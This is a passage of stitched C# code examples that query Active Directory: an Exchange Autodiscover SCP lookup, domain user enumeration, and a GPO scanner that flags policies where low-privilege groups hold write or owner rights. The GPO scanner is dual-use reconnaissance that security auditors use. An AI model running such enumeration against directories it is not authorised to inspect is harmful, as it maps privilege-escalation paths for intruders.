            var ds = new DirectorySearcher(de)
            {
                Filter = ldapFilter, SearchScope = SearchScope.Subtree, PageSize = 1000
            };

            try
            {
                if (findOne)
                {
                    SearchResult sr = ds.FindOne();
                    de = sr.GetDirectoryEntry();
                    Dispatcher.BeginInvoke(DispatcherPriority.Background, new Action(() =>
                    {
                        tbLdap.Text = tbLdap.Text + de.Name + Environment.NewLine +
                                      de.Path + "\r\n";
                    }));
                }
                else
                {
                    SearchResultCollection rsc = ds.FindAll();
                    foreach (SearchResult sr in rsc)
                    {
                        SearchResult sr1 = sr;
                        Dispatcher.BeginInvoke(DispatcherPriority.Background, new Action(() =>
                        {
                            tbLdap.Text = tbLdap.Text + sr1.Path + "\r\n";
                        }));
                    }
                }
            }
            catch (Exception ex)
            {
                Dispatcher.BeginInvoke(DispatcherPriority.Background, new Action(() =>
                {
                    tbLdap.Text = tbLdap.Text + ex.Message + "\r\n";
                }));
            }
            finally
            {
                Dispatcher.BeginInvoke(DispatcherPriority.Background, new Action(() =>
                {
                    tbLdap.Background = new SolidColorBrush(Colors.Azure);
                }));
            }
        }
Ejemplo n.º 31
0
        private string DoAdLookups(bool bDoPosts)
        {
            string                 sRet                    = string.Empty;
            bool                   bFail                   = false;
            string                 sMailbox                = txtTargetMailbox.Text.Trim();
            StringBuilder          oSB                     = new StringBuilder();
            DirectoryEntry         oRootDSE                = null;
            DirectoryEntry         oQuery                  = null;
            DirectorySearcher      oDirectorySearcher      = null;
            SearchResultCollection oSearchResultCollection = null;

            //string scpUrl = null;
            //const string ScpUrlGuidString = @"77378F46-2C66-4aa9-A6A6-3E7A48B19596";

            this.Cursor = Cursors.WaitCursor;
            oSB.AppendFormat("- DoAdLookups - Find SCP records: {0}\r\n", DateTime.Now);

            //string sPostUrl = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc";

            // #1 Get AD entries
            try
            {
                oSB.AppendFormat("  Start inital binding to LDAP://rootDSE\r\n");
                oRootDSE = new DirectoryEntry("LDAP://rootDSE");
                oSB.AppendFormat("  Finished binding to LDAP://rootDSE\r\n");
                oSB.AppendFormat("  Obtaining configurationNamingContext - if it fails then Autodiscover should be used.\r\n");
                string ConfigurationNamingContext = (string)oRootDSE.Properties["configurationNamingContext"].Value;
                oSB.AppendFormat("  configurationNamingContext {0}\r\n", ConfigurationNamingContext);

                string sQuery = "LDAP://" + ConfigurationNamingContext;

                oSB.AppendFormat("  Query: {0}\r\n", sQuery);

                string sFilter =
                    "(&(objectcategory=serviceConnectionPoint)(|(keywords=67661D7F-8FC4-4fa7-BFAC-E1D7794C1F68)( keywords=77378F46-2C66-4aa9-A6A6-3E7A48B19596)))";
                oSB.AppendFormat("  Filter: {0}\r\n", sFilter);

                oQuery             = new DirectoryEntry(sQuery);
                oDirectorySearcher = new DirectorySearcher(oQuery);
                oDirectorySearcher.PropertiesToLoad.Add("cn");
                oDirectorySearcher.PropertiesToLoad.Add("name");
                oDirectorySearcher.PropertiesToLoad.Add("serviceBindingInformation");
                oDirectorySearcher.PropertiesToLoad.Add("legacyExchangeDN");
                oDirectorySearcher.PropertiesToLoad.Add("Domain");
                oDirectorySearcher.PropertiesToLoad.Add("site");
                oDirectorySearcher.PropertiesToLoad.Add("keywords");


                oDirectorySearcher.Filter = sFilter;

                oSB.AppendFormat("\r\n");

                oSB.AppendFormat("+ Searching AD for CAS URLs: {0}\r\n", DateTime.Now);
                DateTime oStart = DateTime.Now;
                oSearchResultCollection = oDirectorySearcher.FindAll();
                TimeSpan oTimeSpan = DateTime.Now.Subtract(oStart);
                oSB.AppendFormat("    Time to do Search: {0} miliseconds\r\n", oTimeSpan.TotalMilliseconds.ToString());
                oSB.AppendFormat("- Searching AD for CAS URLs: {0}\r\n", DateTime.Now);
            }
            catch (System.Runtime.InteropServices.COMException)
            {
                bFail = true;
                System.Runtime.InteropServices.COMException COMExceptionEx = new System.Runtime.InteropServices.COMException();
                Console.WriteLine(COMExceptionEx.Message);
                oSB.AppendFormat("!! Error: ");
                oSB.AppendFormat("    Message: {0}\r\n", COMExceptionEx.Message);
                oSB.AppendFormat("    InnerException: {0}\r\n", COMExceptionEx.InnerException);
                oSB.AppendFormat("");
                oSB.AppendFormat("    StackTrace: {0}\r\n", COMExceptionEx.StackTrace);
                oSB.AppendFormat("- Searching: {0}\r\n", DateTime.Now);
            }
            catch (InvalidOperationException)
            {
                bFail = true;
                InvalidOperationException InvOpEx = new InvalidOperationException();
                Console.WriteLine(InvOpEx.Message);
                oSB.AppendFormat("!! Error: ");
                oSB.AppendFormat("    Message: {0}\r\n", InvOpEx.Message);
                oSB.AppendFormat("    InnerException: {0}\r\n", InvOpEx.InnerException);
                oSB.AppendFormat("");
                oSB.AppendFormat("    StackTrace: {0}\r\n", InvOpEx.StackTrace);
                oSB.AppendFormat("- Searching: {0}\r\n", DateTime.Now);
            }
            catch (NotSupportedException)
            {
                bFail = true;
                NotSupportedException NotSuppEx = new NotSupportedException();
                Console.WriteLine(NotSuppEx.Message);

                oSB.AppendFormat("!! Error: ");
                oSB.AppendFormat("    Message: {0}\r\n", NotSuppEx.Message);
                oSB.AppendFormat("    InnerException: {0}\r\n", NotSuppEx.InnerException);
                oSB.AppendFormat("");
                oSB.AppendFormat("    StackTrace: {0}\r\n", NotSuppEx.StackTrace);
                oSB.AppendFormat("- Searching: {0}\r\n", DateTime.Now);
            }
            catch (Exception ex)
            {
                bFail = true;
                Console.WriteLine(ex.Message);
                oSB.AppendFormat("!! Error: ");
                oSB.AppendFormat("    Message: {0}\r\n", ex.Message);
                oSB.AppendFormat("    InnerException: {0}\r\n", ex.InnerException);
                oSB.AppendFormat("");
                oSB.AppendFormat("    StackTrace: {0}\r\n", ex.StackTrace);
                oSB.AppendFormat("- Searching: {0}\r\n", DateTime.Now);
            }

            System.DirectoryServices.ActiveDirectory.ActiveDirectorySite site =
                System.DirectoryServices.ActiveDirectory.ActiveDirectorySite.GetComputerSite();
            string computerSiteName = site.Name;

            oSB.AppendFormat("Site Name: " + computerSiteName + "\r\n");

            if (bFail != true)
            {
                oSB.AppendFormat("\r\n");
                oSB.AppendFormat("  Results found: {0} URLs\r\n", oSearchResultCollection.Count.ToString());
                oSB.AppendFormat("+ List Results: {0}\r\n", DateTime.Now);
                oSB.AppendFormat("\r\n");
                string sUrl = string.Empty;

                try
                {
                    foreach (SearchResult oSearchResult in oSearchResultCollection)
                    {
                        oSB.AppendFormat("    Result Path: {0}\r\n", oSearchResult.Path);

                        if (oSearchResult.Properties["cn"].Count != 0)
                        {
                            oSB.AppendFormat("    cn: {0}\r\n", oSearchResult.Properties["cn"][0].ToString());
                        }
                        if (oSearchResult.Properties["name"].Count != 0)
                        {
                            oSB.AppendFormat("    name: {0}\r\n", oSearchResult.Properties["name"][0].ToString());
                        }

                        if (oSearchResult.Properties["serviceBindingInformation"].Count != 0)
                        {
                            oSB.AppendFormat("    serviceBindingInformation: {0}\r\n", oSearchResult.Properties["serviceBindingInformation"][0].ToString());
                        }
                        if (oSearchResult.Properties["legacyExchangeDN"].Count != 0)
                        {
                            oSB.AppendFormat("    legacyExchangeDN: {0}\r\n", oSearchResult.Properties["legacyExchangeDN"][0].ToString());
                        }
                        if (oSearchResult.Properties["Domain"].Count != 0)
                        {
                            oSB.AppendFormat("    Domain: {0}\r\n", oSearchResult.Properties["Domain"][0].ToString());
                        }
                        if (oSearchResult.Properties["site"].Count != 0)
                        {
                            oSB.AppendFormat("    site: {0}\r\n", oSearchResult.Properties["site"][0].ToString());
                        }

                        //if (oSearchResult.Properties["keywords"].Count != 0)
                        //{
                        //    if (!string.IsNullOrEmpty(computerSiteName))
                        //    {
                        //        // Search for SCP entries.
                        //        string sitePrefix = "Site=";
                        //        string siteMatch = sitePrefix + computerSiteName;
                        //        System.Collections.Generic.List<string> scpListNoSiteMatch =  new System.Collections.Generic.List<string>();

                        //        System.DirectoryServices.ResultPropertyValueCollection entryKeywords = oSearchResult.Properties["keywords"];

                        //        // Identify SCP URLs.
                        //        if (AppHelpers.CollectionHelpers.CollectionContains(entryKeywords, ScpUrlGuidString))
                        //            {
                        //                // Get the SCP URL.
                        //                scpUrl = oSearchResult.Properties["serviceBindingInformation"][0] as string;

                        //                // If the SCP URL matches the exact ComputerSiteName.
                        //                if (CollectionHelpers.CollectionContains(entryKeywords, siteMatch))
                        //                {
                        //                    // Priority 1 SCP URL. Add SCP URL to the list if it's not already there.
                        //                    oSB.Append("    Priority 1 type. SCP URL matches the exact ComputerSiteName.  Top of the list.\r\n");
                        //                    oSB.Append("    Path: " + oSearchResult.Path + " \r\n");
                        //                    oSB.Append("    SCP URL: " + scpUrl + "\r\n");

                        //                    //scpUrlList.Add(scpUrl);
                        //                }
                        //            }

                        //            // No match between the SCP URL and the ComputerSiteName
                        //            else
                        //            {
                        //                bool hasSiteKeyword = false;

                        //                // Check if SCP URL entry has any keyword starting with "Site="
                        //                foreach (string keyword in entryKeywords)
                        //                {
                        //                    hasSiteKeyword |= keyword.StartsWith(sitePrefix, System.StringComparison.InvariantCultureIgnoreCase);
                        //                }

                        //                // Add SCP URL to the scpListNoSiteMatch list if it's not already there.
                        //                if (!CollectionHelpers.CollectionContains(scpListNoSiteMatch, scpUrl))
                        //                {
                        //                    // Priority 2 SCP URL. SCP entry doesn't have any "Site=<otherSite>" keywords, insert at the top of list.
                        //                    if (!hasSiteKeyword)
                        //                    {
                        //                        oSB.Append("    Priority 2 type. SCP entry doesn't have any \"Site=<otherSite>\" keywords\r\n");
                        //                        oSB.Append("    Path: " + oSearchResult.Path + " \r\n");
                        //                        oSB.Append("    SCP URL: " + scpUrl + "\r\n");
                        //                        scpListNoSiteMatch.Insert(0, scpUrl);
                        //                    }
                        //                    // Priority 3 SCP URL. SCP entry has at least one "Site=<otherSite>" keyword, add to the end of list.
                        //                    else
                        //                    {
                        //                        oSB.Append("    Priority 3 type. SCP entry has at least one \"Site=<otherSite>\" keyword. This should be at the end of the list.\r\n");
                        //                        oSB.Append("    Path: " + oSearchResult.Path + " \r\n");
                        //                        oSB.Append("    SCP URL: " + scpUrl + "\r\n");
                        //                        scpListNoSiteMatch.Insert(0, scpUrl);

                        //                    }
                        //                }

                        //        }

                        //    }
                        //}



                        int iTimeoutSeconds = Int32.Parse(cmboTimeout.Text.Trim());
                        if (bDoPosts == true)
                        {
                            oSB.Append("\r\n");
                            sUrl = oSearchResult.Properties["serviceBindingInformation"][0].ToString();
                            if (sUrl.StartsWith("LDAP:"))
                            {
                                oSB.AppendFormat("  ! Skipping POST due to URL starting with LDAP\r\n");
                            }
                            else
                            {
                                oSB.Append(DoPostToUrl(sUrl, sMailbox, iTimeoutSeconds));
                            }
                        }
                        oSB.AppendFormat("\r\n");
                        oSB.AppendFormat("--------\r\n");
                        oSB.AppendFormat("\r\n");
                    }

                    oSB.AppendFormat("- List Results: {0}\r\n", DateTime.Now);
                }
                catch (System.Runtime.InteropServices.COMException)
                {
                    bFail = true;
                    System.Runtime.InteropServices.COMException COMExceptionEx = new System.Runtime.InteropServices.COMException();
                    Console.WriteLine(COMExceptionEx);

                    oSB.AppendFormat("!! Error");
                    oSB.AppendFormat("    Message: {0}\r\n", COMExceptionEx.Message);
                    oSB.AppendFormat("    InnerException: {0}\r\n", COMExceptionEx.InnerException);
                    oSB.AppendFormat("\r\n");
                    oSB.AppendFormat("    StackTrace: {0}\r\n", COMExceptionEx.StackTrace);

                    oSB.AppendFormat("- List Results: {0}\r\n", DateTime.Now);
                }
                catch (InvalidOperationException)
                {
                    bFail = true;
                    InvalidOperationException InvOpEx = new InvalidOperationException();
                    Console.WriteLine(InvOpEx.Message);
                    oSB.AppendFormat("!! Error");
                    oSB.AppendFormat("    Message: {0}\r\n", InvOpEx.Message);
                    oSB.AppendFormat("    InnerException: {0}\r\n", InvOpEx.InnerException);
                    oSB.AppendFormat("\r\n");
                    oSB.AppendFormat("    StackTrace: {0}\r\n", InvOpEx.StackTrace);

                    oSB.AppendFormat("- List Results: {0}\r\n", DateTime.Now);
                }
                catch (NotSupportedException)
                {
                    bFail = true;
                    NotSupportedException NotSuppEx = new NotSupportedException();
                    Console.WriteLine(NotSuppEx.Message);

                    oSB.AppendFormat("!! Error");
                    oSB.AppendFormat("    Message: {0}\r\n", NotSuppEx.Message);
                    oSB.AppendFormat("    InnerException: {0}\r\n", NotSuppEx.InnerException);
                    oSB.AppendFormat("\r\n");
                    oSB.AppendFormat("    StackTrace: {0}\r\n", NotSuppEx.StackTrace);

                    oSB.AppendFormat("- List Results: {0}\r\n", DateTime.Now);
                }
            }

            oSB.AppendFormat("");
            oSB.AppendFormat("- DoAdLookups - Find SCP records: {0}\r\n", DateTime.Now);

            sRet = oSB.ToString();

            this.Cursor = Cursors.Default;

            return(sRet);

            // #2 Do test posts.
            // //[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true }
        }
Ejemplo n.º 32
0
        public static JObject GetDomainGpos()
        {
            try
            {
                DirectoryEntry rootDse = new DirectoryEntry();
                DirectoryEntry root    = new DirectoryEntry();
                DirectoryEntry rootExtRightsContext = new DirectoryEntry();
                if (GlobalVar.UserDefinedDomainDn != null)
                {
                    rootDse = new DirectoryEntry(("LDAP://" + GlobalVar.UserDefinedDomain + "/rootDSE"), GlobalVar.UserDefinedUsername, GlobalVar.UserDefinedPassword);
                    root    = new DirectoryEntry(("GC://" + rootDse.Properties["defaultNamingContext"].Value),
                                                 GlobalVar.UserDefinedUsername, GlobalVar.UserDefinedPassword);
                    string schemaContextString = rootDse.Properties["schemaNamingContext"].Value.ToString();
                    rootExtRightsContext =
                        new DirectoryEntry("LDAP://" + schemaContextString.Replace("Schema", "Extended-Rights"),
                                           GlobalVar.UserDefinedUsername, GlobalVar.UserDefinedPassword);
                }
                else
                {
                    rootDse = new DirectoryEntry("LDAP://rootDSE");
                    root    = new DirectoryEntry("GC://" + rootDse.Properties["defaultNamingContext"].Value);
                    string schemaContextString = rootDse.Properties["schemaNamingContext"].Value.ToString();
                    rootExtRightsContext =
                        new DirectoryEntry("LDAP://" + schemaContextString.Replace("Schema", "Extended-Rights"));
                }

                // make a searcher to find GPOs
                DirectorySearcher gpoSearcher = new DirectorySearcher(root)
                {
                    Filter        = "(objectClass=groupPolicyContainer)",
                    SecurityMasks = SecurityMasks.Dacl | SecurityMasks.Owner
                };

                SearchResultCollection gpoSearchResults = gpoSearcher.FindAll();

                /*
                 * // stolen from prashant - grabbing guids for extended rights
                 * Dictionary<string, string> guidDict = new Dictionary<string, string>
                 * {
                 * {"00000000-0000-0000-0000-000000000000", "All"}
                 * };
                 *
                 * // and again where we grab all the Extended Rights
                 * DirectorySearcher rightsSearcher = new DirectorySearcher(rootExtRightsContext)
                 * {
                 * Filter = "(objectClass=controlAccessRight)",
                 * PropertiesToLoad = {"name", "rightsGUID"}
                 * };
                 *
                 * SearchResultCollection extRightsResultCollection = rightsSearcher.FindAll();
                 *
                 * foreach (SearchResult extRightsResult in extRightsResultCollection)
                 * {
                 * string extRightGuidString = extRightsResult.Properties["rightsguid"][0].ToString();
                 * string extRightNameString = extRightsResult.Properties["name"][0].ToString();
                 * // for some reason we hit a single duplicate in this lot. nfi what that's about. TODO - figure that out.
                 * try
                 * {
                 *  guidDict.Add(extRightGuidString, extRightNameString);
                 * }
                 * catch (System.ArgumentException)
                 * {
                 *  if (GlobalVar.DebugMode)
                 *  {
                 *      Utility.DebugWrite("Hit a duplicate GUID in extRightsResult");
                 *  }
                 * }
                 * }*/

                // new dictionary for data from each GPO to go into
                JObject gposData = new JObject();

                foreach (SearchResult gpoSearchResult in gpoSearchResults)
                {
                    // object for all data for this one gpo
                    JObject        gpoData = new JObject();
                    DirectoryEntry gpoDe   = gpoSearchResult.GetDirectoryEntry();
                    // get some useful attributes of the gpo
                    string gpoDispName = gpoDe.Properties["displayName"].Value.ToString();
                    gpoData.Add("Display Name", gpoDispName);
                    string gpoUid = gpoDe.Properties["name"].Value.ToString();
                    // this is to catch duplicate UIDs caused by Default Domain Policy and Domain Controller Policy having 'well known guids'
                    if (gposData[gpoUid] != null)
                    {
                        Utility.DebugWrite("\nI think you're in a multi-domain environment cos I just saw two GPOs with the same GUID. You should be careful not to miss stuff in the Default Domain Policy and Default Domain Controller Policy.");
                        continue;
                    }
                    gpoData.Add("UID", gpoUid);
                    string gpoDn = gpoDe.Properties["distinguishedName"].Value.ToString();
                    gpoData.Add("Distinguished Name", gpoDn);
                    string gpoCreated = gpoDe.Properties["whenCreated"].Value.ToString();
                    gpoData.Add("Created", gpoCreated);

                    // 3= all disabled
                    // 2= computer configuration settings disabled
                    // 1= user policy disabled
                    // 0 = all enabled
                    string gpoFlags         = gpoDe.Properties["flags"].Value.ToString();
                    string gpoEnabledStatus = "";
                    switch (gpoFlags)
                    {
                    case "0":
                        gpoEnabledStatus = "Enabled";
                        break;

                    case "1":
                        gpoEnabledStatus = "User Policy Disabled";
                        break;

                    case "2":
                        gpoEnabledStatus = "Computer Policy Disabled";
                        break;

                    case "3":
                        gpoEnabledStatus = "Disabled";
                        break;

                    default:
                        gpoEnabledStatus = "Couldn't process GPO Enabled Status. Weird.";
                        break;
                    }
                    gpoData.Add("GPO Status", gpoEnabledStatus);
                    // get the acl
                    ActiveDirectorySecurity gpoAcl = gpoDe.ObjectSecurity;
                    // // Get the owner in a really dumb way
                    // string gpoSddl = gpoAcl.GetSecurityDescriptorSddlForm(AccessControlSections.Owner);
                    // JObject parsedOwner = ParseSDDL.ParseSddlString(gpoSddl, SecurableObjectType.DirectoryServiceObject);
                    // string gpoOwner = parsedOwner["Owner"].ToString();
                    // gpoData.Add("Owner", gpoOwner);
                    // make a JObject to put the stuff in
                    JObject gpoAclJObject = new JObject();

                    AccessControlSections sections = AccessControlSections.All;
                    string  sddlString             = gpoAcl.GetSecurityDescriptorSddlForm(sections);
                    JObject parsedSDDL             = ParseSddl.ParseSddlString(sddlString, SecurableObjectType.DirectoryServiceObject);

                    foreach (KeyValuePair <string, JToken> thing in parsedSDDL)
                    {
                        if (thing.Key == "Owner")
                        {
                            gpoAclJObject.Add("Owner", thing.Value.ToString());
                            continue;
                        }

                        if (thing.Key == "Group")
                        {
                            gpoAclJObject.Add("Group", thing.Value);
                            continue;
                        }

                        if (thing.Key == "DACL")
                        {
                            foreach (JProperty ace in thing.Value.Children())
                            {
                                int  aceInterestLevel        = 1;
                                bool interestingRightPresent = false;
                                if (ace.Value["Rights"] != null)
                                {
                                    string[] intRightsArray0 = new string[]
                                    {
                                        "WRITE_OWNER", "CREATE_CHILD", "WRITE_PROPERTY", "WRITE_DAC", "SELF_WRITE", "CONTROL_ACCESS"
                                    };

                                    foreach (string right in intRightsArray0)
                                    {
                                        if (ace.Value["Rights"].Contains(right))
                                        {
                                            interestingRightPresent = true;
                                        }
                                    }
                                }

                                string   trusteeSid       = ace.Value["SID"].ToString();
                                string[] boringSidEndings = new string[]
                                { "-3-0", "-5-9", "5-18", "-512", "-519", "SY", "BA", "DA", "CO", "ED", "PA", "CG", "DD", "EA", "LA", };
                                string[] interestingSidEndings = new string[]
                                { "DU", "WD", "IU", "BU", "AN", "AU", "BG", "DC", "DG", "LG" };

                                bool boringUserPresent = false;
                                foreach (string boringSidEnding in boringSidEndings)
                                {
                                    if (trusteeSid.EndsWith(boringSidEnding))
                                    {
                                        boringUserPresent = true;
                                        break;
                                    }
                                }

                                bool interestingUserPresent = false;
                                foreach (string interestingSidEnding in interestingSidEndings)
                                {
                                    if (trusteeSid.EndsWith(interestingSidEnding))
                                    {
                                        interestingUserPresent = true;
                                        break;
                                    }
                                }

                                if (interestingUserPresent && interestingRightPresent)
                                {
                                    aceInterestLevel = 10;
                                }
                                else if (boringUserPresent)
                                {
                                    aceInterestLevel = 0;
                                }

                                if (aceInterestLevel >= GlobalVar.IntLevelToShow)
                                {
                                    // pass the whole thing on
                                    gpoAclJObject.Add(ace);
                                }
                            }
                        }
                    }


                    //add the JObject to our blob of data about the gpo
                    if (gpoAclJObject.HasValues)
                    {
                        gpoData.Add("ACLs", gpoAclJObject);
                    }

                    gposData.Add(gpoUid, gpoData);
                }


                return(gposData);
            }
            catch (Exception exception)
            {
                Utility.DebugWrite(exception.ToString());
                Console.ReadKey();
                Environment.Exit(1);
            }

            return(null);
        }
Ejemplo n.º 33
0
        /// <summary>
        /// Gets all users of a given domain.
        /// </summary>
        /// <param name="domain">Domain to query. Should be given in the form ldap://domain.com/ </param>
        /// <returns>A list of users.</returns>
        public static List <ADUser> GetUsers(string domain, string username, string password)
        {
            List <ADUser> users = new List <ADUser>();

            if (username.Any())
            {
                using (DirectoryEntry searchRoot = new DirectoryEntry(domain, username, password))
                    using (DirectorySearcher directorySearcher = new DirectorySearcher(searchRoot))
                    {
                        // Set the filter
                        directorySearcher.Filter = "(&(objectCategory=person)(objectClass=user))";

                        // Set the properties to load.
                        directorySearcher.PropertiesToLoad.Add(CanonicalNameProperty);
                        directorySearcher.PropertiesToLoad.Add(SamAccountNameProperty);
                        directorySearcher.PropertiesToLoad.Add(LastLoginProperty);
                        directorySearcher.PropertiesToLoad.Add(PwdLastSetProperty);
                        directorySearcher.PropertiesToLoad.Add(DescriptionProperty);
                        directorySearcher.PropertiesToLoad.Add(UserAccountControlProperty);

                        try
                        {
                            using (SearchResultCollection searchResultCollection = directorySearcher.FindAll())
                            {
                                foreach (SearchResult searchResult in searchResultCollection)
                                {
                                    // Create new ADUser instance
                                    var user = new ADUser();

                                    // Set CN if available.
                                    if (searchResult.Properties[CanonicalNameProperty].Count > 0)
                                    {
                                        user.CN = searchResult.Properties[CanonicalNameProperty][0].ToString();
                                    }

                                    // Set sAMAccountName if available
                                    if (searchResult.Properties[SamAccountNameProperty].Count > 0)
                                    {
                                        user.SamAcountName = searchResult.Properties[SamAccountNameProperty][0].ToString();
                                    }

                                    // Description
                                    if (searchResult.Properties[DescriptionProperty].Count > 0)
                                    {
                                        user.Description = searchResult.Properties[DescriptionProperty][0].ToString();
                                        if (user.Description.Length >= 65)
                                        {
                                            user.Description = user.Description.Substring(0, 60) + "...";
                                        }
                                    }

                                    // Last Login
                                    if (searchResult.Properties[LastLoginProperty].Count > 0)
                                    {
                                        user.LastLogin = (long)searchResult.Properties[LastLoginProperty][0];
                                    }

                                    // Password Last Set
                                    if (searchResult.Properties[PwdLastSetProperty].Count > 0)
                                    {
                                        user.PwdLastSet = (long)searchResult.Properties[PwdLastSetProperty][0];
                                    }

                                    // Password Last Set
                                    if (searchResult.Properties[UserAccountControlProperty].Count > 0)
                                    {
                                        /*
                                         *  sEnabled = 'Enabled'
                                         *  s512 = 'Enabled Account'
                                         *  s514 = 'Disabled Account'
                                         *  s544 = 'Enabled, Password Not Required'
                                         *  s546 = 'Disabled, Password Not Required'
                                         *  s66048 = 'Account Enabled, Password Doesn\'t Expire'
                                         *  s66050 = 'Disabled, Password Doesn\'t Expire'
                                         *  s66080 = 'Enabled, Password Doesn\'t Expire & Not Required'
                                         *  s66082 = 'Disabled, Password Doesn\'t Expire & Not Required'
                                         *  s262656 = 'Enabled, Smartcard Required'
                                         *  s262658 = 'Disabled, Smartcard Required'
                                         *  s262688	= 'Enabled, Smartcard Required, Password Not Required'
                                         *  s262690 = 'Disabled, Smartcard Required, Password Not Required'
                                         *  s328192 = 'Enabled, Smartcard Required, Password Doesn\'t Expire'
                                         *  s328194 = 'Disabled, Smartcard Required, Password Doesn\'t Expire'
                                         *  s328224 = 'Enabled, Smartcard Required, Password Doesn\'t Expire & Not Required'
                                         *  s328226 = 'Disabled, Smartcard Required, Password Doesn\'t Expire & Not Required'
                                         *  sDisabled = 'Disabled'
                                         * */
                                        string UacTemp = searchResult.Properties[UserAccountControlProperty][0].ToString();
                                        switch (UacTemp)
                                        {
                                        case "Enabled":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "Disabled":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "512":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "514":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "544":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "546":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "66048":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "66050":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "66080":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "66082":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "262656":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "262658":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "262688":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "262690":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "328192":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "328194":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "328224":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "328226":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "131072":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "262144":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        default:
                                            user.UserAccountControl = "Enabled";
                                            break;
                                        }
                                    }
                                    // Add user to users list.
                                    users.Add(user);
                                }
                            }
                        }
                        catch (Exception e)
                        {
                            MessageBox.Show(e.Message, "Error: Cannot Retrieve User Information");
                        }
                    }
            }
            else
            {
                using (DirectoryEntry searchRoot = new DirectoryEntry(domain))
                    using (DirectorySearcher directorySearcher = new DirectorySearcher(searchRoot))
                    {
                        // Set the filter
                        directorySearcher.Filter = "(&(objectCategory=person)(objectClass=user))";

                        // Set the properties to load.
                        directorySearcher.PropertiesToLoad.Add(CanonicalNameProperty);
                        directorySearcher.PropertiesToLoad.Add(SamAccountNameProperty);
                        directorySearcher.PropertiesToLoad.Add(LastLoginProperty);
                        directorySearcher.PropertiesToLoad.Add(PwdLastSetProperty);
                        directorySearcher.PropertiesToLoad.Add(DescriptionProperty);
                        directorySearcher.PropertiesToLoad.Add(UserAccountControlProperty);

                        try
                        {
                            using (SearchResultCollection searchResultCollection = directorySearcher.FindAll())
                            {
                                foreach (SearchResult searchResult in searchResultCollection)
                                {
                                    // Create new ADUser instance
                                    var user = new ADUser();

                                    // Set CN if available.
                                    if (searchResult.Properties[CanonicalNameProperty].Count > 0)
                                    {
                                        user.CN = searchResult.Properties[CanonicalNameProperty][0].ToString();
                                    }

                                    // Set sAMAccountName if available
                                    if (searchResult.Properties[SamAccountNameProperty].Count > 0)
                                    {
                                        user.SamAcountName = searchResult.Properties[SamAccountNameProperty][0].ToString();
                                    }

                                    // Description
                                    if (searchResult.Properties[DescriptionProperty].Count > 0)
                                    {
                                        user.Description = searchResult.Properties[DescriptionProperty][0].ToString();
                                    }

                                    // Last Login
                                    if (searchResult.Properties[LastLoginProperty].Count > 0)
                                    {
                                        user.LastLogin = (long)searchResult.Properties[LastLoginProperty][0];
                                    }

                                    // Password Last Set
                                    if (searchResult.Properties[PwdLastSetProperty].Count > 0)
                                    {
                                        user.PwdLastSet = (long)searchResult.Properties[PwdLastSetProperty][0];
                                    }

                                    // Password Last Set
                                    if (searchResult.Properties[UserAccountControlProperty].Count > 0)
                                    {
                                        /*
                                         *  sEnabled = 'Enabled'
                                         *  s512 = 'Enabled Account'
                                         *  s514 = 'Disabled Account'
                                         *  s544 = 'Enabled, Password Not Required'
                                         *  s546 = 'Disabled, Password Not Required'
                                         *  s66048 = 'Account Enabled, Password Doesn\'t Expire'
                                         *  s66050 = 'Disabled, Password Doesn\'t Expire'
                                         *  s66080 = 'Enabled, Password Doesn\'t Expire & Not Required'
                                         *  s66082 = 'Disabled, Password Doesn\'t Expire & Not Required'
                                         *  s262656 = 'Enabled, Smartcard Required'
                                         *  s262658 = 'Disabled, Smartcard Required'
                                         *  s262688	= 'Enabled, Smartcard Required, Password Not Required'
                                         *  s262690 = 'Disabled, Smartcard Required, Password Not Required'
                                         *  s328192 = 'Enabled, Smartcard Required, Password Doesn\'t Expire'
                                         *  s328194 = 'Disabled, Smartcard Required, Password Doesn\'t Expire'
                                         *  s328224 = 'Enabled, Smartcard Required, Password Doesn\'t Expire & Not Required'
                                         *  s328226 = 'Disabled, Smartcard Required, Password Doesn\'t Expire & Not Required'
                                         *  sDisabled = 'Disabled'
                                         * */
                                        string UacTemp = searchResult.Properties[UserAccountControlProperty][0].ToString();
                                        switch (UacTemp)
                                        {
                                        case "Enabled":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "Disabled":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "512":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "514":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "544":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "546":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "66048":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "66050":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "66080":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "66082":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "262656":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "262658":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "262688":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "262690":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "328192":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "328194":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        case "328224":
                                            user.UserAccountControl = "Enabled";
                                            break;

                                        case "328226":
                                            user.UserAccountControl = "Disabled";
                                            break;

                                        default:
                                            user.UserAccountControl = "Enabled";
                                            break;
                                        }
